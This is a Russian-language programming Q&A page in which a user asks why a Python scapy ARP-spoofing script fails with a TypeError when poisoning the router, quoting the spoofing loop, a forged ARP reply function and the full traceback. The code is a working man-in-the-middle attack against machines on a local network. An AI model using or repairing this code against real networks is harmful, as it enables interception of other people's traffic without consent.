Как исправить ошибку 'TypeError:% i format: требуется число, а не NoneType' в python? - PullRequest
0 голосов
/ 20 июня 2019

Я создаю скрипт на python, который делает спуфинг arp с помощью модуля scapy. Тем не менее, он говорит, что есть проблема в функции scapy.send (пакет), когда цель установлена ​​на маршрутизаторе. Когда целью является устройство, подключенное к той же сети, оно работает отлично. Для спуфинга ARP пакет должен непрерывно отправляться как жертве, так и маршрутизатору. Как мне этого добиться?

def poison(victim_ip, victim_mac, spoofIp):

    packet = scapy.ARP(op=2, pdst=victim_ip, hwdst=victim_mac, 
    psrc=spoofIp)
    scapy.send(packet, verbose=False)

 while True:

    poison(victimIPAddr, victimMacAddr, routerIpAddr) #works fine
    print("1 packet sent") #prints 1 packet sent
    poison(routerIpAddr, routerMacAddr, victimIPAddr) #error line
    print('\r[+] Accessing...', end="")
    sleep(2)

Traceback (most recent call last):
      File "network-scanner.py", line 133, in <module>
        poison(routerIpAddr, routerMacAddr, victimIPAddr) #error line <--
      File "network-scanner.py", line 97, in poison
        scapy.send(packet, verbose=False)
      File "C:\Program Files\Python37\lib\site-packages\scapy\sendrecv.py", line 318, in send
        realtime=realtime, return_packets=return_packets)
      File "C:\Program Files\Python37\lib\site-packages\scapy\sendrecv.py", line 290, in __gen_send
        s.send(p)
      File "C:\Program Files\Python37\lib\site-packages\scapy\arch\pcapdnet.py", line 536, in send
        sx = raw(cls() / x)
      File "C:\Program Files\Python37\lib\site-packages\scapy\compat.py", line 51, in raw
        return bytes(x)
      File "C:\Program Files\Python37\lib\site-packages\scapy\packet.py", line 442, in __bytes__
        return self.build()
      File "C:\Program Files\Python37\lib\site-packages\scapy\packet.py", line 557, in build
        p = self.do_build()
      File "C:\Program Files\Python37\lib\site-packages\scapy\packet.py", line 542, in do_build
        pay = self.do_build_payload()
      File "C:\Program Files\Python37\lib\site-packages\scapy\packet.py", line 529, in do_build_payload
        return self.payload.do_build()
      File "C:\Program Files\Python37\lib\site-packages\scapy\packet.py", line 539, in do_build
        pkt = self.self_build()
      File "C:\Program Files\Python37\lib\site-packages\scapy\packet.py", line 520, in self_build
        p = f.addfield(self, p, val)
      File "C:\Program Files\Python37\lib\site-packages\scapy\fields.py", line 330, in addfield
        return self._find_fld_pkt_val(pkt, val).addfield(pkt, s, val)
      File "C:\Program Files\Python37\lib\site-packages\scapy\fields.py", line 1152, in addfield
        return s + struct.pack("%is" % len_pkt, self.i2m(pkt, val))
    TypeError: %i format: a number is required, not NoneType

Я ожидаю вывод «Доступ ...», но фактическим выводом является «Ошибка типа:% i формат: требуется число, а не NoneType»

...